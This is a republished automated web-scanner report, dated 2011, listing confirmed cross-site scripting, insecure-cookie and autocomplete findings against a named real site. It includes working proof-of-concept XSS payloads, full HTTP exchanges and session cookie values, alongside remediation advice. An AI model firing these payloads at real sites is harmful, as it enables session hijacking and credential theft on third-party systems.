www.sciencedirect.com, XSS, GHDB DORK REPORT SUMMARY

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

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Netsparker - Scan Report Summary
TARGET URL
https://www.sciencedirect.com/science?_ob=Reg...
SCAN DATE
5/2/2011 11:53:54 PM
REPORT DATE
5/3/2011 12:06:15 AM
SCAN DURATION
00:01:52

Total Requests

660

Average Speed

5.85 req/sec.
4
identified
4
confirmed
0
critical
0
informational

DORK TESTS

DORK TESTS
PROFILE
Previous Settings
ENABLED ENGINES
Blind SQL Injection, Boolean SQL Injection, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
75 %
LOW
25 %

VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/science Query Based QUERYSTRING Cross-site Scripting Yes
Cookie Not Marked As Secure Yes
Auto Complete Enabled Yes
/science/%22%20stYle=%22x:expre/**/ssion(alert(9)) URI-BASED Raw URI Cross-site Scripting Yes
Cross-site Scripting

Cross-site Scripting

2 TOTAL
IMPORTANT
CONFIRMED
2
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /science/%22%20stYle=%22x:expre/**/ssion(alert(9))

/science/%22%20stYle=%22x:expre/**/ssion(alert(9)) CONFIRMED

https://www.sciencedirect.com/science/%22%20stYle=%22x:expre/**/ssion(alert(9))

Parameters

Parameter Type Value
_ob GET RegistrationURL
_method GET display
_type GET guest
_returnURL GET http://www.sciencedirect.com/science?
_acct GET C000050221
_version GET 1
_userid GET 10
md5 GET 45e26359c93486a3badd56805f2eba73
URI-BASED Raw URI /" stYle="x:expre/**/ssion(alert(9))

Request

GET /science/%22%20stYle=%22x:expre/**/ssion(netsparker(9)) HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.sciencedirect.com
Cookie: EUID=70c37592-7517-11e0-b479-00000aac4911; MIAMISESSION=70c3518e-7517-11e0-b479-00000aac4911:3481833295; MIAMIAUTH=6791888f8bb87c4851f51c5acaac952f4a5b5654c15e389ab76a21e3537996af1f245b1168575bc4f93dcc0fda16607eb607463d9033301d05268bc9d075c38cd233099d2e1f820f5a7fb9beb49510448f5242792f25042e52277c21a30a63e649841f8aa56520898b4931391026023069ebe0e82023314475e1a5007b7985c78b277b79cdc4b3e2dedd6ef306048365898deb58ac6ba1d3e2a9bc92e85e685bd139722f590f78078ee390baaa6ea14c14a370d88099e70168dadf6b9b286580e8eab13ad29b1d5bcf31b1d2c77f7a4dac53a0d9a14721e564e7fb8d1890d6fae40cba30a0d65eee7abe149d1d18418a2a7ff858ec0591dd2f08b1a464fc84e9; TARGET_URL=fcf74dd786744d87fbaaaf8652a764ab4a79b0d3ed681139e91069237606310502bcc8354fa578989ba26f264adec9a04fcce6f2e9ae016ea87c0ff4f4a9d18d
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Mon, 02 May 2011 23:55:06 GMT
Last-Modified: Mon, 02 May 2011 23:55:06 GMT
Set-Cookie: MIAMISESSION=70c3518e-7517-11e0-b479-00000aac4911:3481833306; path=/; domain=.sciencedirect.com; HttpOnly;,TARGET_URL=fcf74dd786744d87fbaaaf8652a764ab4a79b0d3ed681139e910692376063105d378ae6320099575659bd887a3debcea558edf00a23d61f4cccdc153aa1bf66df4c3b1a73b5dbaa69371afd24fd9d610; path=/; domain=.sciencedirect.com; HttpOnly;
Content-Type: text/html
Expires: Tue, 01 Jan 1980 04:00:00 GMT
X-RE-Ref: 0 -1061882892
Server: www.sciencedirect.com 9999 138.12.6.73:443
P3P: CP="IDC DSP LAW ADM DEV TAI PSA PSD IVA IVD CON HIS TEL OUR DEL SAM OTR IND OTC"


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><meta name="verify-v1" content="y1nzgaIQU15jtnD+2ER8lJvOnS9+WmR+y40NoGeRtUY="><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><!-- TRANSKEY: 05/02/2011 19:55:06 EDT#2862_003#356753#173.193.214.243 --><meta name="robots" content="NOARCHIVE"><link rel="shortcut icon" href="/scidirimg/faviconSD.ico" type="image/x-icon"> <style type="text/css">.nojs { display: none;}</style><script type="text/javascript">if (/MSIE (\d+\.\d+);/.test(navigator.userAgent)){document.styleSheets[0].rules[0].style["display"] = "";} else{document.styleSheets[0].cssRules[0].style["display"] = "";}</script><link rel="stylesheet" Title="Default Styles" href="/science/page/static/stylesheets/css_gen_v01.css" type="text/css"><!--[if IE 7]><link rel="stylesheet" Title="Default Styles" href="/science/page/static/stylesheets/css_gen_ie7_v01.css" type="text/css"><![endif]--><!--[if lte IE 6]><link rel="stylesheet" Title="Default Styles" href="/science/page/static/stylesheets/css_gen_ie6_v01.css" type="text/css"><![endif]--> <!-- if not logged in --> <meta http-equiv="Set-Cookie" content="BROWSER_SUPPORTS_COOKIES=1; path=/"> <!-- scienceHome.tmpl --> <title>ScienceDirect - Home</title><link rel="stylesheet" Title="Default Styles" href="http://www.sciencedirect.com/science/page/static/stylesheets/css_home_v01.css" type="text/css"></head><body><div id="header" class="outerWrapper"><script src="/science/page/javascript/prototype.js" type="text/javascript"></script><script src="/science/page/javascript/effects.js" type="text/javascript"></script><script src="/science/page/javascript/controls_mod.js" type="text/javascript"></script><script src="/science/page/javascript/openWindow.js" type="text/javascript"></script><SCRIPT LANGUAGE="Javascript" type="text/javascript"><!--function flip(e){ var menustyle = eval(getStyleObj(e)) if (menustyle.display=="none"){ menustyle.display=''; if (e == "alertSettings") { document.getElementById("registrationOptional").innerHTML = "Hide alert & other settings. <img src=\"/scidirimg/sign_minus.gif\"/>"; document.getElementById("textRow").style.background = '#f7f7f7'; } } else{ menustyle.display="none" if (e == "alertSettings") { document.getElementById("registrationOptional").innerHTML = "Show alert & other settings. <img src=\"/scidirimg/sign_plus.gif\"/>"; document.getElementById("textRow").style.background = '#efefef'; } }}function getStyleObj(elem,parent) { if (document.layers) { if (parent) { return "document."+parent+".document."+elem; } else { return "document."+elem + ".style"; } } else if (document.all) { return "document.all."+elem + ".style"; } else if (document.getElementById) { return "document.getElementById('"+elem+"').style"; }}function flipLogin(e,button){ var t = eval(getStyleObj(e)); var u = $('loginPlus'); var v = $('userPlus'); var userbox = $('userBox'); var j = $('loginPlusScript'); if(button == null){ if (t.display=="none"){ t.display = 'block'; j.removeClassName('plus'); j.addClassName('minus'); } else{ t.display = 'none'; j.removeClassName('minus'); j.addClassName('plus'); } } else if (button == "userPlus" ) { if (t.display=="none" ){ t.display = 'block'; v.removeClassName('userPlus'); v.addClassName('userMinus'); } else{ t.display = 'none'; v.removeClassName('userMinus'); v.addClassName('userPlus'); } } else{ if (t.display=="none" ){ t.display = 'block'; userbox.style.display ='none'; v.removeClassName('userMinus'); v.addClassName('userPlus'); } else{ t.display = 'none'; } }}//--></SCRIPT><div style="background-color:#FFFFFF;position:relative;z-index:2;" class="outerWrapper" ><div id="masthead"><!-- INSERTS THE TEMPLATE VARIABLES POPULATED FROM DB for SCIVERSE and PRODUCT labels --><div id="logoSciVerse"><a href="/science?_ob=RedirectURL&_method=outwardLink&_activity=SciVerse&_origin=home&_zone=logo&_targetURL=http%3A%2F%2Fhub.sciverse.com&_acct=C000050221&_version=1&_userid=10&md5=ba678b47bbd69dabaea736840a8041af"><img src="/scidirimg/logo_SciVerse.gif" border="0" alt="SciVerse Home" title="SciVerse - Elsevier's product suite for search and discovery"/>
</a></div><div id="logoScienceDirect"><a href="http://www.sciencedirect.com/science">
<img border="0" alt="ScienceDirect&reg; Home" title="ScienceDirect -The world's leading full-text scientific database" src="/scidirimg/logo_ScienceDirect.gif"/></a></div></div ><div id="suites" class="clearfix" ><ul class="suites"><li><a href="http://www.hub.sciverse.com/action/home" title="Hub - SciVerse's integrated search">Hub</a></li><li><a title="ScienceDirect - the world's leading full-text scientific database" class="selected">ScienceDirect</a></li><li><a href="http://www.scopus.com" title="Scopus - the largest abstract and citation database of research literature and quality web sources">Scopus</a></li><li><a href="http://www.scitopics.com" title="SciTopics - Distilled, authoritative and up-to-date information for researchers on scientific technical and medical topic">SciTopics</a></li><li><a href="http://www.applications.sciverse.com/action/userhome" title=" Applications - SciVerse Applications" class="last">Applications</a></li></ul></div><div> <!-- if not logged in --> <div id="login" class="clearfix"> <ul> <li> <a href="https://www.sciencedirect.com/science?_ob=RegistrationURL&_method=display&_type=guest&_returnURL=http%3A%2F%2Fwww.sciencedirect.com%2Fscience%3F&_acct=C000050221&_version=1&_userid=10&md5=45e26359c93486a3badd56805f2eba73" target="_top" title="Register a ScienceDirect username and password for using alerts and other personal features">Register</a> </li> <!--top right widget--> <li class="login " id="loginPlus"><a href="javascript:flipLogin('loginBox',null);" title="Login to ScienceDirect" class="novisit plus nojs" id="loginPlusScript">Login</a><noscript><a href="/science?_ob=HomePageURL&_method=userHomePage&_fl=y&_acct=C000050221&_version=1&_urlVersion=0&_userid=10&md5=33a74972cccbbcf0367e51ea9615957b" title="Open the Login Box" class="plus" id="loginPlusNoScript">Login</a></noscript> </li> <li class="last"><a href="http://www.scival.com" title="Go to SciVal Suite">Go to SciVal Suite</a></li> </ul> </div> <div id="loginBox" style="display:none;"> <div class="padding" style="padding-top:10px;"> <form name="sdLogin" method="POST" action="https://www.sciencedirect.com/science/login" id="login-box-form" style="margin:0;"> <input type="hidden" name="login" value="login"> <div> <label for="username"><span style="text-align:right;">Username:</span> <input id="username" type="text" name="userid" title="Please enter your username here" /></label> </div> <div style="margin-top:2px;"> <label for="password"><span style="text-align:right;">Password:</span> <input id="password" type="password" name="password" maxlength="20" title="Please enter your password here" onkeypress="if(13==event.keyCode)this.form.submit();if (13==event.keyCode)return false;"/></label> </div> <div class="remember"> <input type="checkbox" checked name="rememberid" id="rememberMe" value="Y" class="allCheck top2fix" title="Checking this option will log you in automatically next time you visit ScienceDirect"/> <label for="rememberMe" title="Checking this option will log you in automatically next time you visit ScienceDirect">Remember me</label> </div> <input type="hidden" name="_ob" value="MiamiLogonURL"> <input type="hidden" name="targetURL" value="http://www.sciencedirect.com/science/" stYle="x:expre/**/ssion(netsparker(9))" > <input type="hidden" name="returnURL" value="http://www.sciencedirect.com/science/" stYle="x:expre/**/ssion(netsparker(9))" > <div class="submit" > <div style="float:left;padding-left:0px;"><input class="button" type="Submit" name="arrow" alt="Login to ScienceDirect" title="Login to ScienceDirect" value="Login"/></div> <div class="notRegistered" ><span class="astPad">| </span><span><a href="https://www.sciencedirect.com/science?_ob=RegistrationURL&_method=display&_type=guest&_returnURL=http%3A%2F%2Fwww.sciencedirect.com%2Fscience%3F&_acct=C000050221&_version=1&_userid=10&md5=45e26359c93486a3badd56805f2eba73" title="Register a username and password for using alerts and other personal features" target="_top">Not Registered?</a></span></div> </div> <div style="clear:both;"></div> </form> <div class="forgotpass"> <a href="/science?_ob=ReminderURL&_method=display&_acct=C000050221&_version=1&_userid=10&md5=340075608c2fef24d4a7760e4cdfc3e0" target="passwd" onClick="var remindWin;remindWin=window.open('','passwd','scrollbars=yes,resizable=yes,directories=no,toolbar=n,menubar=no,status=no,width=650,height=300');" title="Click here for help in recovering your ScienceDirect access">Forgotten your username or password?</a> </div> </div> <div class="institutiontext"> <a href="/science?_ob=FederationURL&_method=display&_type=f&_acct=C000050221&_version=1&_userid=10&md5=72fe293848689e52a10d612dfcfa3bd4"title="Go to Athens/ Institution login">Go to Athens / Institution login</a> </div> <div class="institutiontext"> <a href="http://www.sciencedirect.com/science/activateaccess" title="Remote access activation">Remote access activation</a> </div> </div> <!-- logged in --> <div id="banner-top"> <a href="http://www.info.sciencedirect.com/licensing/access/guest_user/" onclick="openNS('http://www.info.sciencedirect.com/licensing/access/guest_user/'); return false;"> <img src="http://www.sciencedirect.com/science/page/static/science/dynamic_scidir_home_guest_user.gif" alt="You have guest access to ScienceDirect. Find out more." title="You have guest access to ScienceDirect. Find out more." border="0" /> </a> </div> </div> </div><div id="navigationTop" class="clearfix"> <ul class="nav main"> <li class="last"><a class="selected" href="/science?_ob=HomePageURL&_method=userHomePage&_btn=Y&_zone=TopNavBar&_origin=home&_acct=C000050221&_version=1&_urlVersion=0&_userid=10&md5=6ac340d91273ebf880d3b1f3c6db0354" target="_top" name="Home" title="Home">Home</a></li> <li> <a href="/science?_ob=BrowseListURL&_type=all&_auth=y&_btn=Y&_zone=TopNavBar&_origin=home&_acct=C000050221&_version=1&_urlVersion=0&_userid=10&md5=80961dde62332fa54bd9bdba79707c55" target="_top" name="Browse" title="Browse">Browse</a> </li> <li><a href="/science?_ob=MiamiSearchURL&_method=requestForm&_btn=Y&_zone=TopNavBar&_origin=home&_acct=C000050221&_version=1&_urlVersion=1&_userid=10&md5=23882619a271027088e270d0cce22d7b" target="_top" name="Search" title="Search">Search</a></li> <li><a href="/science?_ob=UserSubscriptionURL&_method=begin&_btn=Y&_zone=TopNavBar&_origin=home&_acct=C000050221&_version=1&_urlVersion=1&_userid=10&md5=3da37b99467fd44d2ed77094e2b9d582" target="_top" name="account" title="My settings">My settings</a></li> <li><a href="/science?_ob=MiamiSDIURL&_method=listAlerts&_btn=Y&_zone=TopNavBar&_origin=home&_acct=C000050221&_version=1&_urlVersion=0&_userid=10&md5=1999026090afd0638f05bc0cac9efe86" target="_top" name="alert" title="Alerts">My alerts</a></li> <li><a href="/science?_ob=ShoppingCartURL&_method=display&_zone=TopNavBar&_origin=home&_acct=C000050221&_version=1&_userid=10&md5=e99202fda90679e83945ca878cf7f8bc" target="_top" name="cart" title="Shopping Cart">Shopping cart</a></li> </ul> <ul class="nav misc"> <li class="last"><a href="/science?_ob=HelpURL&_file=home.htm&_btn=Y&_zone=TopNavBar&_origin=home&_acct=C000050221&_version=1&_urlVersion=0&_userid=10&md5=e84e1b8fee09328bce09be2936ef4fdc" target="sdhelp" title="Help (Opens new window)" onClick="var helpWin; helpWin=window.open('/science?_ob=HelpURL&_file=home.htm&_btn=Y&_zone=TopNavBar&_origin=home&_acct=C000050221&_version=1&_urlVersion=0&_userid=10&md5=e84e1b8fee09328bce09be2936ef4fdc','sdhelp','scrollbars=yes,resizable=yes,directories=no,toolbar=no,menubar=no,status=no,width=760,height=570'); helpWin.focus(); return false">Help</a></li> </ul> </div></div> <table id="sdQuickSearch" width="100%" border="0" cellpadding="0" cellspacing="0" class="outerWrapper" ><tr><td> <a name="Skip Buttons"></a><script language="javascript" type="text/javascript"><!--function getElementsByClassName(oElm, strTagName, strClassName){ var arrElements = (strTagName == "*" && oElm.all)? oElm.all : oElm.getElementsByTagName(strTagName); var arrReturnElements = new Array(); strClassName = strClassName.replace(/\-/g, "\\-"); var oRegExp = new RegExp("(^|\\s)" + strClassName + "(\\s|$)"); var oElement; for(var i=0; i<arrElements.length; i++){ oElement = arrElements[i]; if(oRegExp.test(oElement.className)){ arrReturnElements.push(oElement); } } return (arrReturnElements);}function clearQSForm() { document.qkSrch.qs_tak.value=""; document.qkSrch.qs_author.value=""; document.qkSrch.qs_title.value=""; document.qkSrch.qs_vol.value=""; document.qkSrch.qs_issue.value=""; document.qkSrch.qs_pages.value="";}function changeFields(field) { var quckSrch = getElementsByClassName(document, 'td', 'toggleQukSrch'); if(field == "i") { for (i=0; i<quckSrch.length; i++) { quckSrch[i].style.display = 'none'; i++; } document.getElementById("fieldLabel").innerHTML = "&nbsp;&nbsp;&nbsp;&nbsp;Images"; document.getElementById("qs_all").title = "e.g. figures, tables, videos etc"; if (document.getElementById("qs_all").value == "") { document.getElementById("qs_all").value = "e.g. figures, tables, videos etc"; document.getElementById("qs_all").style.color ="#9b9b9b"; } document.getElementById("volField").style.display = "none"; document.getElementById("qs_vol").style.display = "none"; document.getElementById("issueField").style.display = "none"; document.getElementById("qs_issue")..
- /science

/science CONFIRMED

https://www.sciencedirect.com/science?'"--></style></script><script>alert(0x000013)</script>

Parameters

Parameter Type Value
_ob GET RegistrationURL
_method GET display
_type GET guest
_returnURL GET http://www.sciencedirect.com/science?
_acct GET C000050221
_version GET 1
_userid GET 10
md5 GET 45e26359c93486a3badd56805f2eba73
Query Based QUERYSTRING '"--></style></script><script>alert(0x000013)</script>

Request

GET /science?'"--></style></script><script>netsparker(0x000013)</script> HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.sciencedirect.com
Cookie: EUID=70c37592-7517-11e0-b479-00000aac4911; MIAMISESSION=70c3518e-7517-11e0-b479-00000aac4911:3481833306; MIAMIAUTH=6791888f8bb87c4851f51c5acaac952f4a5b5654c15e389ab76a21e3537996af1f245b1168575bc4f93dcc0fda16607eb607463d9033301d05268bc9d075c38cd233099d2e1f820f5a7fb9beb49510448f5242792f25042e52277c21a30a63e649841f8aa56520898b4931391026023069ebe0e82023314475e1a5007b7985c78b277b79cdc4b3e2dedd6ef306048365898deb58ac6ba1d3e2a9bc92e85e685bd139722f590f78078ee390baaa6ea14c14a370d88099e70168dadf6b9b286580e8eab13ad29b1d5bcf31b1d2c77f7a4dac53a0d9a14721e564e7fb8d1890d6fae40cba30a0d65eee7abe149d1d18418a2a7ff858ec0591dd2f08b1a464fc84e9; TARGET_URL=fcf74dd786744d87fbaaaf8652a764ab4a79b0d3ed681139e910692376063105d378ae6320099575659bd887a3debcea558edf00a23d61f4cccdc153aa1bf66df4c3b1a73b5dbaa69371afd24fd9d610
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Mon, 02 May 2011 23:55:13 GMT
Last-Modified: Mon, 02 May 2011 23:55:13 GMT
Set-Cookie: MIAMISESSION=70c3518e-7517-11e0-b479-00000aac4911:3481833313; path=/; domain=.sciencedirect.com; HttpOnly;,TARGET_URL=fcf74dd786744d87fbaaaf8652a764ab4a79b0d3ed681139e910692376063105e8c4327fbc69e6a7f2c142869cb15f173bf01432f7747bae6572b2170a9b64be299801d38ed92af145be13f577135d94753451b982ae45061b897ab72474bd1f931dc49eb0a55baa; path=/; domain=.sciencedirect.com; HttpOnly;
Content-Type: text/html
Expires: Tue, 01 Jan 1980 04:00:00 GMT
X-RE-Ref: 0 -1054370352
Server: www.sciencedirect.com 9999 138.12.6.73:443
P3P: CP="IDC DSP LAW ADM DEV TAI PSA PSD IVA IVD CON HIS TEL OUR DEL SAM OTR IND OTC"


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Cookie Not Marked As Secure

Cookie Not Marked As Secure

1 TOTAL
IMPORTANT
CONFIRMED
1
A Cookie was not marked as secure and transmitted over HTTPS. This means the cookie could potentially be stolen by an attacker who can successfully intercept and decrypt the traffic or following a successful MITM (Man in the middle) attack.

Impact

This cookie will be transmitted over a HTTP connection, therefore if this cookie is important (such as a session cookie) an attacker might intercept it and hijack a victim's session. If the attacker can carry out a MITM attack, he/she can force victim to make a HTTP request to steal the cookie.

Actions to Take

  1. See the remedy for solution.
  2. Mark all cookies used within the application as secure. (If the cookie is not related to authentication or does not carry any personal information you do not have to mark it as secure.))

Remedy

Mark all cookies used within the application as secure.

Required Skills for Successful Exploitation

To exploit this issue, the attacker needs to be able to intercept traffic. This generally requires local access to the web server or victim's network. Attackers need to be understand layer 2, have physical access to systems either as way points for the traffic, or locally (have gained access to) to a system between the victim and the web server.
- /science

/science CONFIRMED

https://www.sciencedirect.com/science?_ob=RegistrationURL&_method=display&_type=guest&_returnURL=htt..

Identified Cookie

EUID

Request

GET /science?_ob=RegistrationURL&_method=display&_type=guest&_returnURL=http%3A%2F%2Fwww.sciencedirect.com%2Fscience%3F&_acct=C000050221&_version=1&_userid=10&md5=45e26359c93486a3badd56805f2eba73 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.sciencedirect.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Mon, 02 May 2011 23:53:55 GMT
Last-Modified: Mon, 02 May 2011 23:53:55 GMT
Set-Cookie: EUID=70c37592-7517-11e0-b479-00000aac4911; expires=Sunday, 27 Apr 2031 23:53:55 GMT; path=/; domain=.sciencedirect.com; HttpOnly;,MIAMISESSION=70c3518e-7517-11e0-b479-00000aac4911:3481833235; path=/; domain=.sciencedirect.com; HttpOnly;,MIAMIAUTH=98e994e605de2474eb0a5e1744b8c4579a4c6830f1a3d30387cee75d2030ea519d4f463a77710dc9aaaf2f69da4a54584fb065b16f2578af9791187bbd8cf721ff862156a85e1c38c974b39b8fa396fac0f16f3ad3e2fcaabc771afcd1e625c6b9992cf9fcbd10b6f752e54302d7a90ae328aecef626435fad0bdad01515f03fa470f3cd0e581309502822b25e0fa0cfaaa8c4949aec11c42b9c55e6d23eba88ae7c044f9359d9e0a96f2c19432f54ac8ed6d639f87cc577c775f3491b79d13674b929840d76ea83300012be0e257622aff79451ba4a415eed404c6b5c53a5ea8ebb056d8220e7d723f1626d823a88f2de1ca072d844341939ff16cc9a636a95; path=/; domain=.sciencedirect.com; HttpOnly;
Content-Type: text/html
Expires: Tue, 01 Jan 1980 04:00:00 GMT
X-RE-Ref: 0 -1132113332
Server: www.sciencedirect.com 9999 138.12.6.73:443
P3P: CP="IDC DSP LAW ADM DEV TAI PSA PSD IVA IVD CON HIS TEL OUR DEL SAM OTR IND OTC"


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For example you can <br/>stay up-to-date with Search Alerts and Document Citation Alerts or keep track of your research with Saved Searches. <br><br> (<font color="#000000">*</font> = required field) </span><br> </div> <div id="ElseProd" class="ElseProdContainer"> <div class="hoverBox1"></div> <div class="ElseProd"> <div style="background:#FFFFFF;font-size:0.92em;padding:12px;"> <a href="#" class="tooltipLink" id="activator" onclick="return false;" title="">Elsevier products<span id="InProgress"><em class="tooltipLinkContent"><span class="topArrow">&nbsp;</span><dfn class="tooltipdfn" style="white-space:nowrap;">ScienceDirect <br>ScienceDirect iPhone App<br>Scopus <br>Scopus iPhone App<br>SciVal Funding <br>SciVal Spotlight<br>BrainNavigator<br>Geofacets <br>HazmatNavigator <br>SciVerse Hub </dfn></em></span></a> </div></div> </div> <div style="width:725px;"> <form name="registration" method="POST" action="/science"> <input type="hidden" name="_ob" value="RegistrationURL"> <input type="hidden" name="_method" value="submit"> <input type="hidden" name="_type" value="guest"> <input type="hidden" name="_returnURL" value="http://www.sciencedirect.com/science?"> <input type="hidden" name="md5" value="f7f2dc59490a46527b6f3892e2409195"> <!-- <table border="0" cellpadding="0" cellSpacing="0" width="725"><tr><td> --><div id="test"><div class="tableFmBgGray" style="width:100%;padding-top:15px;padding-bottom-20px"> <div class="divTableRow"> <div class="divRegTableColF" style="text-align:left;"><b>Your details</b></div> <div class="divRegTableColS" style="text-align:right;"><a href="http://www.sciencedirect.com/science?_ob=UserSubscriptionURL&_method=displayPolicy&_acct=C000050221&_version=1&_urlVersion=1&_userid=10&md5=9e5aa4a0cc7bfb68a086a1438e8bfb51" target="_top">Privacy policy</a> </div> </div> <div style="clear:both;"></div> <div class="divRegTextRow" style="font-size:0.92em">Your username will be automatically generated from your name.</div> <div style="clear:both;"></div> <div class="divTableRow"> <div class="divRegTableColF" ><label for="FIRST_NAME">First name: </label></div> <div class="divRegTableColS"><span> <input class="inputRegBox" name="FIRST_NAME" id="FIRST_NAME" size="60" maxlength="50" value=""></span><span class="astRegPad"><font color="#000000">*</font></span> </div> </div> <div style="clear:both;"></div> <div class="divTableRow"> <div class="divRegTableColF" ><label for="FAMILY_NAME">Family name: </label></div> <div class="divRegTableColS" ><span><input class="inputRegBox" name="FAMILY_NAME" id="FAMILY_NAME" size="60" maxlength="50" value=""></span><span class="astRegPad"><font color="#000000">*</font></span></div> </div> <div style="clear:both;"></div> <div class="divRegSectDivider"></div> <div class="divRegTextRow"><b>E-mail and password</b></div> <div class="divRegTextRow" style="font-size:0.92em">Enter a password between 5 and 20 characters.</div> <div class="divTableRow"> <div class="divRegTableColF" ><label for="EMAIL">E-mail address: </label></div> <div class="divRegTableColS" ><span><input class="inputRegBox" name="EMAIL" id="EMAIL" size="60" value=""></span><span class="astRegPad"><font color="#000000">*</font></span> </div> </div> <div style="clear:both;"> </div> <div class="divTableRow"> <div class="divRegTableColF"><label for="PASSWORD1">Password: </label></div> <div class="divRegTableColS"><span><input class="inputRegBox" type="password" name="PASSWORD1" id="PASSWORD1" size="60" maxlength="50" value=""></span><span class="astRegPad"><font color="#000000">*</font></span> </div> </div> <div style="clear:both;"> </div> <div class="divTableRow"> <div class="divRegTableColF" ><label for="PASSWORD2">Confirm password:</label></div> <div class="divRegTableColS" ><span><input class="inputRegBox" type="password" name="PASSWORD2" id="PASSWORD2" size="60" maxlength="50" value=""></span><span class="astRegPad"><font color="#000000">*</font></span> </div> </div> <div style="clear:both;"> </div> <div class="divRegSectDivider"></div> <div class="divRegTextRow"><b>Your organization, role and field of interest</b></div> <div class="divTableRow"> <div class="divRegTableColF" ><label for="ORG_NAME">Organization name:</label></div> <div class="divRegTableColS" ><span><input class="inputRegBox" type="text" name="ORG_NAME" id="ORG_NAME" size="60" maxlength="50" value=""></span><span class="astRegPad"><font color="#000000">*</font></span> </div> </div> <div style="clear:both;"></div> <div class="divTableRow"> <div class="divRegTableColF"><label for="ORG_TYPE">Organization type: </..
Auto Complete Enabled

Auto Complete Enabled

1 TOTAL
LOW
CONFIRMED
1
"Auto Complete" was enabled in one or more of the form fields. These were either "password" fields or important fields such as "Credit Card".

Impact

Data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers such as cyber cafes or airport terminals.

Remedy

Add the attribute autocomplete="off" to the form tag or to individual "input" fields.

Actions to Take

  1. See the remedy for the solution.
  2. Find all instances of inputs which store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords, however, in most cases this is not recommended.
  3. Re-scan the application after addressing the identified issues to ensure that all of the fixes have been applied properly.

Required Skills for Successful Exploitation

Dumping all data from a browser can be fairly easy and there exist a number of automated tools to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the auto-complete feature to see previously entered values.

External References

- /science

/science CONFIRMED

https://www.sciencedirect.com/science?_ob=RegistrationURL&_method=display&_type=guest&_returnURL=htt..

Identified Field Name

PASSWORD1

Request

GET /science?_ob=RegistrationURL&_method=display&_type=guest&_returnURL=http%3A%2F%2Fwww.sciencedirect.com%2Fscience%3F&_acct=C000050221&_version=1&_userid=10&md5=45e26359c93486a3badd56805f2eba73 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.sciencedirect.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Mon, 02 May 2011 23:53:55 GMT
Last-Modified: Mon, 02 May 2011 23:53:55 GMT
Set-Cookie: EUID=70c37592-7517-11e0-b479-00000aac4911; expires=Sunday, 27 Apr 2031 23:53:55 GMT; path=/; domain=.sciencedirect.com; HttpOnly;,MIAMISESSION=70c3518e-7517-11e0-b479-00000aac4911:3481833235; path=/; domain=.sciencedirect.com; HttpOnly;,MIAMIAUTH=98e994e605de2474eb0a5e1744b8c4579a4c6830f1a3d30387cee75d2030ea519d4f463a77710dc9aaaf2f69da4a54584fb065b16f2578af9791187bbd8cf721ff862156a85e1c38c974b39b8fa396fac0f16f3ad3e2fcaabc771afcd1e625c6b9992cf9fcbd10b6f752e54302d7a90ae328aecef626435fad0bdad01515f03fa470f3cd0e581309502822b25e0fa0cfaaa8c4949aec11c42b9c55e6d23eba88ae7c044f9359d9e0a96f2c19432f54ac8ed6d639f87cc577c775f3491b79d13674b929840d76ea83300012be0e257622aff79451ba4a415eed404c6b5c53a5ea8ebb056d8220e7d723f1626d823a88f2de1ca072d844341939ff16cc9a636a95; path=/; domain=.sciencedirect.com; HttpOnly;
Content-Type: text/html
Expires: Tue, 01 Jan 1980 04:00:00 GMT
X-RE-Ref: 0 -1132113332
Server: www.sciencedirect.com 9999 138.12.6.73:443
P3P: CP="IDC DSP LAW ADM DEV TAI PSA PSD IVA IVD CON HIS TEL OUR DEL SAM OTR IND OTC"


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